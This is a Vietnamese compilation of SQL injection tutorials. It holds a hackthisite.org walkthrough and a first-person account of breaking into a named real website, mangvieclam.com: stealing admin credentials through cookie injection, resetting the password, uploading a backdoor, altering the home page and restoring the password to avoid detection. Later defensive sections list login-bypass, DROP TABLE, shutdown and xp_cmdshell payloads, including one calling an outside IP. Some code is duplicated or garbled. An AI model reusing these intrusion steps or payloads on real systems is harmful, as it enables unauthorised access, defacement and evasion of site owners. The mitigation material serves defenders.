Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài khoản của "Gary Hunter" vào tài khoản "dropCash". Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến hành chuyển tiền như sau:
Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào: javascript:void(document.write('<form name=the_form action=movemoney.php method=post><input type=hidden name=FROM value=GaryWilliamHunter><input type=hidden name=TO value=dropCash><input type=hidden name=AMOUNT value=10000000><input type=submit value="Move Money To A Different Account"></form>'))
Đoạn JavaScript trên sẽ tạo một form với trường ẩn FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
Bây giờ bạn thay đổi cookie lại như sau:
javascript:void(document.cookie="accountUsername=GaryWilliamHunter")
javascript:void(document.cookie="accountPassword=GaryWilliamHunter")
Ấn nút "Move Money To A Different Account" một cái là xong.
Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn"). Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển tiền trong session của chúng ta vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự là ai.
Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang webhttp://www.mangvieclam.com. Mình đã gởi lời nhắn cho admin của mangvieclam.com nhưng chẳng thấy liên lạc với mình để fix lỗi. Hihi, cái "message" của mình ở cuối trang index.asp trên mangvieclam.com chưa thấy ai xóa hết.
Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng Javascript:alert(document.cookie) để xem cookie.
Ban có thể thay đổi thông tin cá nhân của một user bất kì trên mangvieclam.com bằng cách đổi lại cookie username như sau: javascript:void(document.cookie="username=tên user"), sau đó chọn mục "Cập nhập thông tin"
Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật khẩu", gõ dòng javascript:void(document.cookie="username=tên user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được và password mới, sau đó ấn nút "Thay đổi mật khẩu".
Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực thi:
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Rất tiếc là lỗi này không thể khai thác trên www.mangvieclam.com dolỗi lập trình.
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Tuy nhiên, website www.mangvieclam.com dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của admin từ tblConfig như sau:
Đầu tiên mình lấy username bằng javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))
Chọn mục "Cập nhập thông tin"
Tên đăng nhâp của admin là 'ngtuan'
Tương tự mình lấy password của admin bằng javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--"))
Bây giờ mình đặt lại password mới là 'hacked'
<? echo substr(md5("hacked"),1,10); // d4098d64e1 ?>
"javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='d4098d64e1' where accid=1--"))"
Tiếp theo mình đăng nhập vào "admin-cp" với username là ngtuan và password là hacked:
<form action=http://www.mangvieclam.com/log.asp method=post>
username: <input type=text name=username><br>
password: <input type=password name=password><br>
<input type=hidden name=ChoseLogin value=3>
<input type=hidden name=mod value=1>
<input type=submit value=login>
</form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ cho admin để tránh bị phát hiện:
javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='...' where accid=1--"))
Một giải pháp cho mangvieclam.com là bạn nên chuyển biến Request.Cookies("UserName") thành biến phiên Session("UserName") để tránh bị giả mạo username như ở trên.
3. Cach sua loi SQL injection
Việc thiết kế và đưa website vào hoạt động luôn đòi hỏI nhà phát triển phảI quan tâm đến vấn đề an toàn ,bảo mật nhằm giảm tốI đa kha năng bị hacker tấn công .Thường các nhà phát triển phảI tập trung vào vấn đề an toàn của hệ điều hành ,hệ quản trị CSDL websever ….Tuy nhiên có một nguy cơ tiềm ẩn ít được quan tâm đó là các đoạn mã của ứng dụng một trong số đó là tấn công băng SQL injection .SQL injection là một kỹ thuật cho phép những kẽ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp bằng cách lợI dụng lỗ hõng trong việc kiểm tra dũ liệu nhận từ các ứng dụng web hậu quả này rất tai haij vì nó cho phép kẻ tấn công có toàn quyền hiệu chỉnh trên CSDL của ứng dụng lỗI này thường xáy ra trên các ứng dụng web có dữ liệu được quản trị bằng các hệ quản trị CSDL như SQL sever, Oracle,DB2,sysbase.
Xét một thí dụ điển hình ,thông thương để cho phép ngườI truy cập vaò các trang web được bảo mật hệ thống thường xây dựng trang đăng nhập để yêu cầu ngườI dùng nhập thông tin về tên đăng nhập và pass .sau khi đăng nhập thông tin vào hệ thống sẽ kiểm tra tên vào mật khẩu có hợp lệ hay không để quyết đinhj cho phép hay từ chốI .
Trong trường hợp này ngườI ta có thể xây dụng 2 trang một trang HTML để thực hiện form nhập liệu và một trang ASP để xủ lý thông tin từ phía ngườI dùng.
VD:
Login.html
<form action=”Execlogin. Asp”method=”post”>
username:<input type=”text”name=”txtusername”><br>
password:<input type=”password”name”txtpassword”><br>
<input type=”submit”></form>
ExecLogin. Asp
<%
Dim p_strausername,p_strPassword,objRS,serSQL
P_serUsername=
Request,Form(“txtusername”)
P_serPassword=
Request.Form(“txtpassword”)
serSQL=”SELECT*FORMtblusers”&_”WHEREUsername=’”
&_strUsername&_
“and Password=’”&p-strPassword&””
Set objRS=
SeverCreateObject(“ADOB.Recordset”)
objRS.open strSQL,”DSN=…”
if(objRS.EOF) Then
Reponse.write”invalid login”
Reponse.write”you are logged in as”& objRS(“Username”)
End If
Set objRS=nothing
%>
thoạt nhìn đoạn mã trong trang ASP không chứa bất kỳ lỗ hỗng bảo mật nào.NgườI dùng không thể đăng nhập khi không có tên và pass.Tuy nhiên đoạn mã này thật sự không an toàn và là tiềm đề chotấn công SQL injection đặc biệt sơ hơ nằm ở chổ dữ liệu ngườI dùng nhập vào dùng để xây dựng trực tiếp câu lệnh truy vấn SQL chính điều này cho phép những kẽ tấn công có thể điều khiển được câu truy vấn sẽ thực hiện
ví dụ ngườI dùng nhập chuỗI sau vào trong cả hai ô nhập liệu user /pass của trang login.html” ‘or”=’.Lúc này câu truy vấn sẻ được gọI thực hiện là
SELECT*FORM tblUsers WHERE Username=’’’ or”=”and password=”or”=”
Câu truy vấn này là hoàn toàn hợp lệ và sẽ trả tất cả các bản ghi của tbUsers,và đoạn mã gián tiêp sử lý ngườI đăng nhập hợp lệ .
Tác hạI và cách phòng chống:
Tác hạI là phụ thuộc vào môi trường và các cấu hình hệ thống nếu ngườI sủ dụng dùng quyền cuar ngườI sở hứu CSDL khi thao tác dữ liệu .Nó có thể sữa toàn bộ đữ liệu ,tạo các bản đữ liệu mớI …..còn nếu ngườI dùng quyền quản trị hệ thống thì có thể điều khiển toàn bộ hệ thống
Để tránh điều này thay thế các dấu nháy đơn bằng hàm replace để thay thế bằng 2 dấu nháy đơn:
P_strUsername=
Replace(Request.Form(“txtusername”),”’”,”’”)
P_strpassword=
Replace(Request.Form(“txtpassword”),”’”,”’”)
Một ví dụ khác của tấn công SQL Injection nữa là khi các trang Websử dụng dữ liệu nhập vào theo dạng querystring (bằng cách gõ cặp tham số và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến ID thông qua querystring và phát sinh nội dung của trang đó dựa trên ID:
<%
Dim p_lngID, objRS, strSQL
p_lngID = Request(“ID”)
strSQL = “SELECT * FROM tblArticles WHERE ID=” & p_lngID
Set objRS = Server.CreateObject(“ADODB.Recordset”)
objRS.Open strSQL, “DSN=...”
If (Not objRS.EOF) Then Response.Write objRS(“ArticleContent”)
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của article có ID trùng với ID được chuyển đến cho nó dưới dạng querystring. Ví dụ, trang này có thể được gọi như sau:
http://www.example.com/Article.asp?ID=1055, để hiển thị nội dung của article có ID là 1055.
Giống như ví dụ đăng nhập ở trên, đoạn mã này để lộ sơ hở cho khả năng tấn công SQL Injection. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp pháp, ví dụ như: 0 or 1=1 (nghĩa là,http://www.example.com/Article.asp?ID=0 or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM tblArticles WHERE ID=0 or 1=1
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ CSDL bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay đổi chuỗi gán dữ liệu cho ID, ví dụ như:
http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles.
Tác Hại Và Cách Phòng Tránh
Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới... Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request. QueryString, Request.Form, Request. Cookies, và Request.Server Variables).
Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗi xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn:
p_strUsername = Replace(Request.Form(“txtUsername”), “‘“, “‘’”)
p_strPassword = Replace(Request.Form(“txtPassword”), “‘“, “‘’”)
Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
p_lngID = CLng(Request(“ID”))
Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗi ngay lập tức.
Ngoài ra để tránh các nguy cơ từ tấn công SQL Injection, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển tới cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Bạn có thể tham khảo thêm thông tin về cách thức tạo ra các trang báo lỗi tùy ý trong “Tạo ra các trang báo lỗi ASP được tùy biến”.
Cuối cùng, để hạn chế thiệt hại do tấn công SQL Injection, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu của tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng các quyền như dbo hay sa. Quyền càng hạn chế, thiệt hại càng ít.
Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ cần download database từ trên Internet về và sữa đổi dữ liệu đã được cập nhật từ 1 database.Một trong những nền phổ biến cho web datastores là SQL.Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những script đầu vào bằng cách truy vấn 1 SQL database,bản thân webserver hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc tấncông xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp queries sử dụng bởi bản thân những scripts đầu vào để tước quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật được mang tên "SQL Injection".
SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm TransacSQL vào 1 vị trí để thực hiện những hoạt động không ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để hoàn thành những kết quả tương tự.
TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những đoạn truy vấn nguy hiểm.
Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ trong bao gồm (');(--);và ;.Chúng có những ý nghĩa đặc biệt trong Transact SQL.
Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver hoặc hệ thống SQL đầu cuối.
Ví dụ về SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1 số từ khoá trong Form field như sau:
+Đăng nhập hợp pháp:
-Xác nhận đúng mà không cần bất kì điều kiện nào:
USER:' OR "='
PASS:' OR "='
-Xác nhận đúng chỉ với username:
USER:admin'--
-Xác nhận đúng như là người dùng đầu tiên trong user table:
USER:' or 1=1--
-Xác nhận đúng như là 1 người dùng giả tạo:
USER:' union select 1,'user','passwd' 1--
+Phá hoại:
-Bỏ 1 bảng dữ liệu:
USER:';drop table users--
-Shutdown dữ liệu từ xa:
USER:aaaaaaaaaaaaaaa'
PASS:';shutdown--
+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục:
-Thi hành xp_cmdshell để lấy 1 danh sách thư mục:
http://localhost/script?0';EXEC+master...#39;dir';--
-Thi hành xp_service control để chiếm đoạt service:
http://localhost/script?0';EXECT+maste...;server';--
Không phải cú pháp trên đều làm việc hầu hết trên các dữ liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ lược phía trên sẽ làm việc hay không trong những nền chứa dữ liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh:
Datapase specific Information:---My SQL----Oracle-----DB2------Postgre-----MSSQL
UNION possible:----------------------Y------------Y---------Y----- -------Y------------Y---
Subselects possible:-----------------N------------Y---------Y---------- --Y------------Y---
Multiple statements:-----------------N(mostly)---N---------N--------- -Y-------------Y--
Default stored procedures:---------_--Many(utf-file)------_----------_----- --M(cmdshell)
Other Comments:----------Supports"intooutfile"-_-------_---------- -_-------------_----
+Các công cụ tự động tìm lỗi SQL injection:
SQL Injection thường được thực hiện bằng kĩ thuật của hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison chạy trên Linux,có thể download tại:
http://wpoison.sourceforge.net
Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá tốt-tự động thực hiện SQL Injection -những d0oạn string sẽ được Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển web hoặc người quản trị ứng dụng web cấp thấp truy cập vào tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1 nhóm các công cụ tự động và những kĩ năng khám phá ra những lỗi thông thường,cáccông cụ đó bao gồm:SQL Injection,Website Crawler,Login Form Brute Forcer,Automated Overflow Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có thể Download tại:
www.immunitysec.com/spike.html]www.immunitysec.com/spike.htm l
Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn phải có sẵn Python và OpenSSL.Trong WinXP công cụ này không hoạt động.
Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ Webmirroring như là dữ liệu vào,xem xét từng file và nhân diện sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ dàng thay đổi trong file cấu hình.Download Mieliekoek tại:
http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl
Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là 1 ví dụ của dữ liệu xuất từ mieliekoek:
$badstring="blah''';
#$badstring="blah' or 1=1 --";
$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ';
Tự tạo các trang báo lỗi ASP tùy biến
Một trong những cách để chống tấn công SQL Injection là vô hiệu hóa các thông báo lỗi chi tiết trong IIS và bằng cách tạo ra các thông báo lỗi tùy ý không mang tính chất kĩ thuật. Thông tin trong bài báo này áp dụng cho Microsoft Internet Information Services version 5.0.Microsoft Internet Information Services (IIS) version 5.0 có khả năng tạo các trang báo lỗi Active Server Pages (ASP) tùy biến thông qua một phương thức mới cho đối tượng ASP Server dựng sẵn có tên là Server.GetLastError(), phương thức này trả lại một đối tượng ASPError mới.
Điều Gì Đã Xảy Ra
Khi một lỗi xuất hiện trong quá trình bạn biên dịch hay chạy một trang ASP, IIS sẽ đưa ra thông báo lỗi 500;100 và thực thi phương thức Server.Transfer() để chuyển quyền kiểm soát đến trang báo lỗi tùy biến được định nghĩa hiện thời. (Theo mặc định trang này là /iishelp/common/500-100.asp.) Để có thêm thông tin về phương thức Server.Transfer(), hãy xem bài sau đây trong Microsoft Knowledge Base: Q219294 Làm thế nào để sử dụng phương thức Server.Transfer.
Khi IIS chuuyển lỗi đến trang báo lỗi tùy biến, ta có thể sử dụng phương thức Server.GetLastError() có thể được sử dụng để thu nhận các thông tin chi tiết liên quan đến lỗi xuất hiện. Phương thức Server.GetLastError() trả lại một đối tượng ASPError, đối tượng này có các thuộc tính được liệt kê trong bảng sau đây.(Bảng này cũng có thể tìm thấy trong phần tài liệu kĩ thuật của IIS 5.0 có trên mạng.)Các bước được liệt kê dưới đây sẽ chỉ cho bạn thấy các bước cần tiến hành để tạo ra một trang báo lỗi ASP tùy biến.
1. Lưu mã ASP dưới đây vào thư mục Scripts của bạn dưới tên tệp là “My500.asp”:
<%@Language=”VBSCRIPT”%>
<%
Option Explicit
On Error Resume Next
Response.Clear
Dim objError
Set objError = Server.GetLastError()
%>
<html>
<head>
<title>ASP 500 Error</title>
<style>
BODY { FONT-FAMILY: Arial; FONT-SIZE: 10pt;
BACKGROUND: #ffffff; COLOR: #000000;
MARGIN: 15px; }
H2 { FONT-SIZE: 16pt; COLOR: #ff0000; }
TABLE { BACKGROUND: #000000; PADDING: 5px; }
TH { BACKGROUND: #0000ff; COLOR: #ffffff; }
TR { BACKGROUND: #cccccc; COLOR: #000000; }
</style>
</head>
<body>
<h2 align=”center”>ASP 500 Error</h2>
<p align=”center”>Một lỗi xuất hiện trong quá trình xử lý trang bạn yêu cầu.<br>
Đề nghị hãy xem chi tiết dưới đây.</p>
<div align=”center”><center>
<table>
<% If Len(CStr(objError.ASPCode)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số hiệu lỗi IIS</th>
<td align=”left” valign=”top”><%=objError.ASPCode%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Number)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số hiệu lỗi COM</th>
<td align=”left” valign=”top”><%=objError.Number%>
<%=” (0x” & Hex(objError.Number) & “)”%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Source)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Nguồn gây lỗi</th>
<td align=”left” valign=”top”><%=objError.Source%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.File)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Tên file</th>
<td align=”left” valign=”top”><%=objError.File%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Line)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số của dòng gây lỗi</th>
<td align=”left” valign=”top”><%=objError.Line%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Description)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Mô tả ngắn gọn</th>
<td align=”left” valign=”top”><%=objError.Description%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.ASPDescription)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Mô tả đầy đủ</th>
<td align=”left” valign=”top”><%=objError.ASPDescription%></td> ; ;
</tr>
<% End If %>
</table>
</center></div>
</body>
</html>
2.Thiết lập trang ASP báo lỗi tùy biến:
1. Mở trình Internet Services Manager trong MMC.
2. Mở rộng phạm vi theo dõi Default Web Site của bạn.
3. Kích chuột phải vào thư mục Scripts và chọn Properties.
4. Kích vào tab Custom Errors.
5. Cuộn xuống và kích chọn vào 500;100 HTTP error và kích vào Edit Properties.
6. Thiết lập Message Type thành URL.
7. Thay đổi URL thành “/scripts/my500.asp” (không để dấu trích kép).
8. Kích OK để trở lại MMC.
3. Kiểm tra trang báo lỗi mới:
• Lưu tất cả các trang sau đây vào thư mục Scripts của bạn:
Lưu trang này với cái tên Badpage1.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 1</title>
</head>
<body>
<% Response.Write 1/0 %>
</body>
</html>
Lưu trang này dưới cái tên Badpage2.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 2</title>
</head>
<body>
<% Response.BadMethod “Hello” %>
</body>
</html>
Lưu trang này dưới cái tên Badpage3.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 3</title>
</head>
<body>
<%
Dim objBad
Set objBad = Server.CreateObject(“BAD.OBJECT.CLASS”)
%>
</body>
</html>
• Khi bạn duyệt bất cứ một trang nào ở trên, nếu như các bước trên bạn tiến hành thành công thì bạn sẽ trông thấy các trang báo lỗi đã được tùy biến hiển thị trên trình duyệt.
Chú ý: Khi sử dụng Internet Explorer 5.0 và các phiên bản sau đó để xem các trang báo lỗi ASP được tùy biến, rất có thể bạn sẽ nhận được những kết quả không mong muốn. IE5 đã đưa ra một tính năng để thay thế cho trang HTML mẫu dùng cho lỗi HTTP 500, và một số các trang khác thường được sử dụng để trả lại các mã trạng thái, bằng các thông điệp không cụ thể và chuẩn. Để bỏ qua tính năng này và hiển thị kết quả kiểm tra chính xác của mã trạng thái được trả lại cho trình duyệt, bạn hãy mở Internet Explorer và chuyển tới:
Tools | Internet Options | Advanced
và sau đó bỏ dấu kiểm trên hộp có dán nhãn
Show friendly HTTP error messages
- Thủ thuật khử nháy đơn (')
- Thủ thuật khử trích dẫn
- Thủ thuật ràng buộc nhập password
---------------------------------------------
Sử dụng VBScript xây dựng các hàm sau:
- Khử nháy đơn
function escape(input)
input = replace(input,"'",""")
escape = input
end function
- Khử trích dẫn
function validate_string( input)
known_bad = array("select","insert","update","delete","drop","--","'","@ @","%%")
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if (instr(1, input, known_bad(i),vbtextcompare)0) then
validate_string = false
exit function
end if
next
end function
- Ràng buộc nhập password
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456 789"
validatepassword = true
for i = 1 to len (input)
c = mid( input, i, 1)
if (Instr(good_password_chars,c) = 0) then
validatepassword =false
end if
next
end functionBài viết thứ 2:
BẢO VỆ ỨNG DỤNG WEB CHỐNG TẤN CÔNG KIỂU SQL INJECTION
Nguồn gốc : Sưu Tầm
1. SQL Injection là gì?
Việc thiết kế và đưa vào hoạt động một website luôn đòi hỏi các nhà phát triển phải quan tâm đến các vấn
đề về an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn côngtừ các tin tặc. Tuy nhiên, thông thường
các nhà phát triển đa số tập trung vào các vấn đề an toàn trong việc chọn hệ điều hành, hệ quản trị CSDL,
webserver sẽ chạy ứng dụng, ... Ví dụ, người ta thường quan tâm nhiều đến các lỗ hổng về an toàn trên IIS
hơn là quan tâm đến các đoạn mã của ứng dụng có tiềm ẩn các lỗ hổng nghiêm trọng hay không. Một trong
số các lỗ hổng này đó là SQL injection attack.
SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp
(không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập
trong các ứng dụng web. Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các
thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi này thường xảy ra trên
các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị CSDL như SQL Server, Oracle, DB2,
Sysbase.
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật,
hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật
khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ
hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng 2 trang, một trang HTML để hiển thị form nhập liệu và một
trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
Login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="txtUsername"><br>
Password: <input type="password" name="txtPassword"><br>
<input type="submit">
</form>
ExecLogin.asp
<%
Dim p_strUsername, p_strPassword, objRS, strSQL
p_strUsername = Request.Form("txtUsername")
p_strPassword = Request.Form("txtPassword")
strSQL = "SELECT * FROM tblUsers " & _
"WHERE Username='" & p_strUsername & _
"' and Password='" & p_strPassword & "'"
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("Username")
End If
Set objRS = Nothing
%>
Thoạt nhìn, đoạn mã trong trang ExecLogin.asp dường như không chứa bất cứ một lỗ hổng về an toàn nào.
Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này
thực sự không an toàn và là tiền đề cho một SQL injection attack. Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu
nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh truy vấn SQL. Chính điều này cho phép
những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện.
Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang Login.htm:
‘ or ‘’ = ‘ . Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của tblUsers và đoạn mã tiếp theo xử lí người
dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
Một ví dụ khác của SQL injection attack nữa là khi các trang web sử dụng dữ liệu nhập vào theo dạng
querystring (bằng cách gõ cặp tham số và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính
ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến ID thông qua querystring và phát
sinh nội dung của trang đó dựa trên ID:
<%
Dim p_lngID, objRS, strSQL
p_lngID = Request("ID")
strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (Not objRS.EOF) Then Response.Write objRS("ArticleContent")
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của article có ID trùng với ID được
chuyển đến cho nó dưới dạng querystring. Ví dụ, trang này có thể được gọi như sau:
http://www.example.com/Article.asp?ID=1055, để hiển thị nội dung của article có ID là 1055.
Giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một SQL injection attack. Kẻ tấn công có
thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp pháp,
ví dụ như: 0 or 1=1 (nghĩa là, http://www.example.com/Article.asp?ID=0 or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM tblArticles WHERE ID=0 or 1=1
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa
toàn bộ CSDL bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay
đổi chuỗi gán dữ liệu cho ID, ví dụ như:
http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles.
2. Các tác hại và cách phòng tránh
Tác hại từ SQL Injection attack tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng
quyền dbo (quyền của người sở hữu CSDL - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ
